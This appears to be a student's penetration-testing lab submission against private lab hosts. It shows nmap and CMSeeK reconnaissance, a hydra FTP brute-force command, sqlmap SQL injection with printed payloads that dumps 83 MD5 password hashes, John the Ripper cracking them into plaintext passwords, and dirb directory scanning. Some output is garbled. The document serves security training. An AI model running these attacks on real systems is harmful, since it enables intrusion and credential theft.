

Nom:Zeineb/Saleh

Matricule:22065

Ex1:

1. nmap -sn 192.168.63.1/24 -oG 22065.txt

```
(root@kali)-[/home/kali]
# nmap -sn 192.168.63.1/24 -oG 22065.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 11:28 EDT
Nmap scan report for 192.168.63.1
Host is up (0.25s latency).
Nmap scan report for 192.168.63.69
Host is up (0.39s latency).
Nmap scan report for 192.168.63.101
Host is up (0.82s latency).
Nmap scan report for 192.168.63.102
Host is up (0.82s latency).
Nmap scan report for 192.168.63.108
Host is up (0.82s latency).
Nmap scan report for 192.168.63.109
Host is up (0.82s latency).
Nmap scan report for 192.168.63.111
Host is up (0.82s latency).
Nmap scan report for 192.168.63.112
Host is up (0.56s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 86.78 seconds

(root@kali)-[/home/kali]
#
```

2.

2.1.cat 22065.txt | grep Up | cut -d " " -f 2 | tee 22065_up.txt

```
(root@kali)-[/home/kali]
# cat 22065.txt | grep Up | cut -d " " -f 2 | tee 22065_up.txt
192.168.63.1
192.168.63.69
192.168.63.101
192.168.63.102
192.168.63.108
192.168.63.109
192.168.63.111
192.168.63.112
```

2.2. nmap -sV -iL 22065_up.txt

```
(root@kali)-[/home/kali]
# nmap -sV -iL 22065_up.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 11:39 EDT
Nmap scan report for 192.168.63.1
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
2222/tcp  open  http    SimpleHTTPServer 0.6 (Python 3.11.8)
8080/tcp  open  http    nginx 1.25.4

Nmap scan report for 192.168.63.69
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp    open  http    nginx 1.22.1
8080/tcp  open  http    nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.63.101
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp    open  http    nginx 1.22.1
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.63.102
Host is up (0.17s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
5000/tcp  open  http    nginx 1.14.0 (Ubuntu)
8081/tcp  open  http    nginx 1.14.0 (Ubuntu)
9001/tcp  open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
col 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
5000/tcp open  http    nginx 1.14.0 (Ubuntu)
8081/tcp open  http    nginx 1.14.0 (Ubuntu)
9001/tcp open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.63.108
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; prot
ocol 2.0)
8080/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.63.109
Host is up (0.16s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))

Nmap scan report for 192.168.63.111
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp    open  http     Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.63.112
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    filtered ssh
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 8 IP addresses (8 hosts up) scanned in 49.14 seconds
```

```
(root@kali)-[/home/kali]
#
```

```
3. cmseek -r -u http://192.168.63.109/
```

[illegible]

- `cmseek -r -u http://192.168.63.111/`

```
File Actions Edit View Help
[+] CMS Scan Results [+]
Target: 192.168.63.111
CMS: Drupal
  Version: 7
  URL: https://drupal.org
Home
Result: /usr/share/cmseek/Result/192.168.63.111/cms.json
Scan Completed in 7.5 Seconds, using 1 Requests

CMSeek says ~ adieu
(root@kali)-[/home/kali]
```

- `cmseek -r -u http://192.168.63.112/`

```
File Actions Edit View Help
CMSEEK by @r3dhax0r
Version 1.1.3 K-RONA

[+] CMS Detection And Deep Scan [+]

[i] Scanning Site: http://192.168.63.112/
[x] robots.txt not found or empty!

[x] CMS Detection failed, if you know the cms please help me improve CMSeeK by rep
orting the cms along with the target by creating an issue

Home
Create issue: https://github.com/Tuhinshubhra/CMSeeK/issues/new

Title: [SUGGESTION] CMS detection failed!
Content:
- CMSeeK Version: 1.1.3
- Target: http://192.168.63.112/
- Probable CMS: <name and/or cms url>

N.B: Create issue only if you are sure, please avoid spamming!

CMSeeK says ~ Annyeong

(root@kali)-[/home/kali]
#
```

- `cmseek -r -u http://192.168.63.108/`

```

CMSEEK by @r3dhax0r
Version 1.1.3 K-RONA

[+] CMS Detection And Deep Scan [+]

[i] Scanning Site: http://192.168.63.108/
[x] Aborting CMSeek! Couldn't connect to site
    Error: <urlopen error [Errno 111] Connection refused>

CMSeek says ~ totsiens

(root@kali)-[/home/kali]
#

```

- `cmseek -r -u http://192.168.63.102/`

```

CMSEEK by @r3dhax0r
Version 1.1.3 K-RONA

[+] CMS Detection And Deep Scan [+]

[i] Scanning Site: http://192.168.63.102/

[x] CMS Detection failed, if you know the cms please help me improve CMSeek by rep
orting the cms along with the target by creating an issue

Create issue: https://github.com/Tuhinshubhra/CMSeek/issues/new

Title: [SUGGESTION] CMS detction failed!
Content:
- CMSeek Version: 1.1.3
- Target: http://192.168.63.102/
- Probable CMS: <name and/or cms url>

N.B: Create issue only if you are sure, please avoid spamming!

CMSeek says ~ adeus

(root@kali)-[/home/kali]
#

```


- `cmseek -r -u http://192.168.63.101/`

```
CMSEEK by @r3dhax0r
Version 1.1.3 K-RONA

[+] CMS Detection And Deep Scan [+]

[i] Scanning Site: http://192.168.63.101/
[x] robots.txt not found or empty!

[x] CMS Detection failed, if you know the cms please help me improve CMSeeK by rep
orting the cms along with the target by creating an issue
Home
Create issue: https://github.com/Tuhinshubhra/CMSeeK/issues/new

Title: [SUGGESTION] CMS detction failed!
Content:
- CMSeeK Version: 1.1.3
- Target: http://192.168.63.101/
- Probable CMS: <name and/or cms url>

N.B: Create issue only if you are sure, please avoid spamming!

CMSeeK says ~ До Встречи

(root@kali)-[/home/kali]
```

- `cmseek -r -u http://192.168.63.69/`

```

CMSEEK by @r3dhax0r
Version 1.1.3 K-RONA

[+] CMS Detection And Deep Scan [+]

[i] Scanning Site: http://192.168.63.69/
[x] robots.txt not found or empty!

[x] CMS Detection failed, if you know the cms please help me improve CMSeeK by rep
orting the cms along with the target by creating an issue

Create issue: https://github.com/Tuhinshubhra/CMSeeK/issues/new

Title: [SUGGESTION] CMS detction failed!
Content:
- CMSeeK Version: 1.1.3
- Target: http://192.168.63.69/
- Probable CMS: <name and/or cms url>

N.B: Create issue only if you are sure, please avoid spamming!

CMSeeK says ~ adieu

(root@kali)-[/home/kali]

```

- `cmseek -r -u http://192.168.63.1/`

```

CMSEEK by @r3dhax0r
Version 1.1.3 K-RONA

[+] CMS Detection And Deep Scan [+]

[i] Scanning Site: http://192.168.63.1/
[x] Aborting CMSeeK! Couldn't connect to site
Error: <urlopen error [Errno 111] Connection refused>

CMSeeK says ~ adieu

(root@kali)-[/home/kali]

```


4. hydra -V -l dsi -P /usr/share/wordlists/rockyou.txt <ftp://192.168.63.101>

5.

EX2:

1.

```
sqlmap -r https -dbs
```

```
(kali㉿kali)-[~]
$ nano https

(kali㉿kali)-[~]
$ sqlmap -r https --dbs

      H
     [ ] {1.7.11#stable}
    [.] 
   [.] 
  [.] 
 [.] 
[.] 
[V ...] https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:38:26 /2024-04-27/

[12:38:26] [INFO] parsing HTTP request from 'https'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
[12:38:30] [INFO] testing connection to the target URL
[12:38:30] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:38:30] [INFO] testing if the target URL content is stable
[12:38:31] [INFO] target URL content is stable
[12:38:31] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[12:38:31] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[12:38:31] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[12:38:31] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[12:38:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:38:32] [INFO] testing 'Boolean-based blind - Parameter replace
```

sqlmap -r https --columns -D Staff -T Users

```
12:43:07] [INFO] Fetching columns for table 'Users' in database 'Staff'
Database: Staff
Table: Users
[3 columns]
+-----+-----+
| Column | Type          |
+-----+-----+
| Password | varchar(255)  |
| UserID   | int(6) unsigned |
| Username | varchar(255)  |
+-----+-----+
[12:43:08] [INFO] fetched data logged to text files under /li/.local/share/sqlmap/output/192.168.63.112'
[*] ending @ 12:43:08 /2024-04-27/
(kali@kali)-[~]
```

```
sqlmap -r https -D Staff -T Users -C password --dump
```

```
(kali@kali)-[~]
$ sqlmap -r https -D Staff -T Users -C password --dump
Exploit-DB Google Hacking DB Offsec
{1.7.11#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:44:27 /2024-04-27/

[12:44:27] [INFO] parsing HTTP request from 'https'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
[12:44:28] [INFO] resuming back-end DBMS 'mysql'
[12:44:28] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=' AND (SELECT 3979 FROM (SELECT(SLEEP(5))))YvaB) AND 'FdFA'='FdFA'
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=' UNION ALL SELECT NULL,NULL,CONCAT(0x7178787671,0x584d614354414b455144454876667070747177646f537562424445755797a47566166497441746663,0x71787a7a71),NULL,NULL,NULL-- -

[12:44:29] [INFO] the back-end DBMS is MySQL
```

SSW010
o you want to store hashes to a temporary file for eventual f
r processing with other tools [y/N] n
o you want to crack them via a dictionary-based attack? [Y/n]
atabase: Staff
able: Users
83 entries] Google Hacking DB OffSec

password	
421cae5eecf2540e6bf8d6fb170792c8	
d708cae0799802f8c4f49ce8bfe70279	
da085b5bf77ea8725379196b16e9a692	
f85ffc86902d28f9768c68089623a24	
b0f9859716881e9c115a8bf87386ece8	
d1c3dac3a14c57c70f219fdcfd84a60b	
92ba0f0e9d67965d74d1f36fcb7285e3	
9191c9c57ef859a3e3af52a9e4f3515f	
e8ff31e260675db7941844207967712d	
b5e6a3f7bb922659b21bce199c6f48d4	
d7659f85b6b948bf8ba759ad84119437	
a6b6f29a6c5c173fa668a2bf3bac1737	
df85b3359b6b8742390af57c30d71007	
9e314b9baefce6eccbe1a2943386af2	
bbcfe80f75d68b49c9d6b5dfc4d1eff9	
b7ee482185643704265c70fb4da07fa4	
5d47740aa1afffec0a8029478cdc9af	
02618d813c22bfd094ddf04594423e0	
83a9559bc754f12dacb9b095e1d3d371	Application
ba3614899f4545325a16c1ae835c48a7	Number <input type="checkbox"/> Disabled
929bb45a1daba033164851c22145bbea	Response Timing
14d4b237783fd39367a6617773de4fe8	
7d57f7ee7750602516848805ad55abf8	
138f65fcc8ae89195b88a72db7644c22	
1c880fe859f821108abdddf0a3d74e6	
0635d91bcfd3526ef033a372859b354e	
b297c2e9955fb6e002466503e9cb5d8c	
9e8bfc625e14524b7f4e323c5574d5b3	
27d3c335394c7ee8f1e9eff7a7a51c3c	
734ef22af7edf0a2e87c2be63578490d	
f59509e70fcd6ecb9fb59400a196dfe	
9df67e9dbcf3cc3e8654e3d0237e3388	oss-origin

2.john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt krak.txt

```
(root@kali)-[/home/kali]
# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt krak.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 83 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
lovebirds      (?)
3111991        (?)
941023         (?)
kyky22         (?)
232025         (?)
sofia79        (?)
neilneil1      (?)
095842047      (?)
switsexytin    (?)
myspace        (?)
deankris       (?)
yellowjonas    (?)
wohwik4        (?)
winter2bak     (?)
vanilla02      (?)
urgurl2410     (?)
ttyyqxw        (?)
toros7         (?)
toonchai       (?)
tinpin77       (?)
tatuka9005     (?)
takerashi      (?)
soyjefe        (?)
slimchic27     (?)
shepard7       (?)
shayba69       (?)
shancris9      (?)
satini         (?)
sargatic       (?)
rafeanguiano   (?)
qsb8032        (?)
punch23        (?)
pionex52       (?)
petuniaaa      (?)
```



```
iluvu_id (?)
ilovebirthdays (?)
i-love-gabe (?)
hryfc11 (?)
firebag89 (?)
ereniza08 (?)
echogales (?)
dsemz12 (?)
doug0909 (?)
donkerz (?)
djmissy8 (?)
diegovbender (?)
ddeennii (?)
coolandra (?)
c@mis@ (?)
boo1285 (?)
blaknit09 (?)
billray22 (?)
audi66013 (?)
amsap6453 (?)
MeWtHrEe123456 (?)
Damario (?)
ChloeAnne (?)
BY9632147hacker (?)
9257706 (?)
91082406030 (?)
8830866b (?)
4362103 (?)
260319PTG (?)
25593002559300 (?)
20223127 (?)
100porcentogatadobrasil (?)
0806138530 (?)
065433851 (?)
0317325220777 (?)
83g 0:00:00:02 DONE (2024-04-27 13:03) 34.29g/s 5825Kp/s 5825Kc/s 219804KC/s 031767466..0
31705jj
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(root@kali)-[/home/kali]
```

EX3:

1. dirb http://192.168.63.69/zfgvaq91er

```
(root@kali) ~[/home/kali]
# dirb http://192.168.63.69/zfgvaq91er

DIRB v2.22
By The Dark Raver

Inspector Console Debugger Network Style Editor
START_TIME: Sat Apr 27 14:12:31 2024
URL_BASE: http://192.168.63.69/zfgvaq91er/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

login document html
img
GENERATED WORDS: 4612 png png png
Scanning URL: http://192.168.63.69/zfgvaq91er/
+ http://192.168.63.69/zfgvaq91er/apply (CODE:200|SIZE:1954
→ Testing: http://192.168.63.69/zfgvaq91er/declarations
```